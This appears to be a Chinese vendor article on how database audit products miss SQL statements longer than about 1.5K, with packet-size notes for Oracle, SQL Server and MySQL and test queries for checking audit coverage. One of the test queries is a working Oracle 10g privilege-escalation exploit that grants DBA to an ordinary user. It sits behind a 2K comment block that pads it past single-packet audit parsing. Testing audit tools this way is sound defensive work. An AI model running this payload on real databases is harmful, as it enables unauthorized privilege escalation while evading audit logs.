大多數的SQL語句都在1K以里長度，市面上的數據庫審計產品大多都能準確記錄下，也能實現正常的解析；但在SQL語句超過1.5K時，很多的數據庫審計產品就會發生漏審，或者只能審計下部分SQL語句。

一般Oracle一個通訊包的長度在2K，單一包內能夠容納的語句長度大約在1.4K多一點（大約為1460）；超過這個大小的SQL語句一般會拆分成多包；在Oracle 11g下通常通訊包為2K，最大可以達到8K；對于Oracle數據庫沒有明確說明可兼容的SQL語句的長度，有的說32K或64K是個臨界點，但筆者也曾作過嘗試2M做的SQL語句也能發送并被Oracle正常解析。

對于一些數據庫審計產品，由于沒有將多個SQL通訊包進行有效解析和關聯，在發生長SQL語句時會發生無法解析或解析不全的情況；具體表現是，對于長SQL語句并未記錄，或僅記錄了前半部分。

這種情況的危害是，對于有些業務系統中自身就包含長SQL語句，比如經分系統，報表系統，這些SQL語句會被漏記；同時，一些黑客或攻擊人員會利用這樣的一些漏洞，進行數據庫攻擊而不留下痕跡。比如，若某個數據庫審計產品，是基于單包解析機制進行的，則對于超過1.5K的SQL語句無法記錄或僅記錄了前1.5K，則攻擊者可以首先加入1.5K長的注釋，然后再寫語句，這樣會發生漏審或被審計下來的信息無效。

以下是來自于某個真實應用的SQL語句，達到1.9K；若是讀者有相關的數據庫審計產品，可以用Toad或PL/SQL這樣的工具進行發送，觀測下所擁有的產品是否能夠審計下來，審計記錄是否完全。

select spname,bm,sum(num) as heji,sum(case when fddm=’002′ then num else 0 end) as shipai,sum(case when fddm=’063′ then num else 0 end) as songbo,sum(case when fddm=’005′ then num else 0 end) as duobao,sum(case when fddm=’006′ then num else 0 end) as guangwei,sum(case when fddm=’007′ then num else 0 end) as jianshe,sum(case when fddm=’008′ then num else 0 end) as donghua,sum(case when fddm=’039′ then num else 0 end) as tongdong,sum(case when fddm=’010′ then num else 0 end) as jiebei,sum(case when fddm=’011′ then num else 0 end) as sanyuanli,sum(case when fddm=’012′ then num else 0 end) as nantai,sum(case when fddm=’013′ then num else 0 end) as huanshi,sum(case when fddm=’014′ then num else 0 end) as zhanqian,sum(case when fddm=’015′ then num else 0 end) as lujiang,sum(case when fddm=’016′ then num else 0 end) as dongchuan,sum(case when fddm=’017′ then num else 0 end) as taisha,sum(case when fddm=’018′ then num else 0 end) as huifuxi,sum(case when fddm=’019′ then num else 0 end) as zhujiang,sum(case when fddm=’041′ then num else 0 end) as donghu,sum(case when fddm=’021′ then num else 0 end) as wenming,sum(case when fddm=’062′ then num else 0 end) as huifu2,sum(case when fddm=’042′ then num else 0 end) as shiji,sum(case when fddm=’043′ then num else 0 end) as xincheng,sum(case when fddm=’045′ then num else 0 end) as gaoqiao,sum(case when fddm=’046′ then num else 0 end) as shixi,sum(case when fddm=’047′ then num else 0 end) as nanzhou,sum(case when fddm=’048′ then num else 0 end) as sanyuanlidadao,sum(case when fddm=’050′ then num else 0 end) as jingxi,sum(case when fddm=’051′ then num else 0 end) as chigang,sum(case when fddm=’052′ then num else 0 end) as panfu,sum(case when fddm=’053′ then num else 0 end) as jichangxi,sum(case when fddm=’054′ then num else 0 end) as shengdi,sum(case when fddm=’055′ then num else 0 end) as wendenan,sum(case when fddm=’056′ then num else 0 end) as ronghuanan from sale3 where khname in (‘$khbmem’) group by bm;

以下是另一個模擬的攻擊性的SQL語句，這個語句在Oracle 10g上運行，將把一個普通的數據庫用戶提權到DBA；但我們在對這個語句發送前，在前面用2K的注釋進行掩護，請筆者觀測下所擁有的產品能否將這個語句審計下來，審計結果是否完善。

/*************************************************************************
**************************************************************************
**************************************************************************
**************************************************************************
**************************************************************************
**************************************************************************
**************************************************************************
**************************************************************************
**************************************************************************
**************************************************************************
**************************************************************************
**************************************************************************
**************************************************************************
**************************************************************************
**************************************************************************
**************************************************************************
**************************************************************************
**************************************************************************
**************************************************************************
**************************************************************************
**************************************************************************
**************************************************************************
**************************************************************************
**************************************************************************
**************************************************************************
**************************************************************************
**************************************************************************
**************************************************************************
*************************************************************************/
select
SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(‘FOO’,'BAR’,
‘DBMS_OUTPUT”.PUT(:P1);EXECUTE IMMEDIATE ”DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ”” grant dba to NormalUser””;END;”;END;–’,'SYS‘,0,’1′,0) from dual;

在實驗時，請讀者別忘了將NormalUser改為實際的用戶名，則運行通過后將實現提權。

SQL Server的通訊包一般在4K，超過 4088個字符的SQL語句將被拆分；SQL Server支持的連續SQL通訊可達到256M，而對于SQL語句的長度沒有明確限制（據網上的測試數據，應該超過228K）。

MySQL的通訊包默認在1M，在單個包的內的語句可以被執行，MySQL不支持將SQL語句拆分到多個包中。

讀者可以自行構造一些針對SQL Server、MySQL的SQL語句進行嘗試，看我們所擁有的數據庫審計產品是否能進行準確的審計記錄。要注意的是，類似于Toad、PL/SQL這樣的客戶端工具通常都有SQL語句的長度限制，但這往往不是數據庫的SQL長度限制。

傳統的基于網絡審計發展而來的數據庫審計產品一般都沒有實現跨包的SQL語句拼接，這些產品在測試或一般性的應用環境都不易暴漏出問題，但對于一些復雜的經營分析系統，基于自動SQL語句拼接編程的OA系統等，將會發生漏審的狀況。通常在發生漏審時，用戶大多得到的解釋都是歸結于網絡流量鏡像的不穩定，可能造成了通訊包丟失。

從數據庫審計產品開發的角度，不可能對SQL語句的長度不限長地記錄，關鍵是要看相關產品指標是否滿足所應用的業務環境需求，以及能否有效過濾掉攻擊性語句的掩護性字符。

說明：本文來自數據庫安全廠家“安華金和” 的投稿，獨發“游俠安全網”（www.youxia.org），轉載請包括本聲明。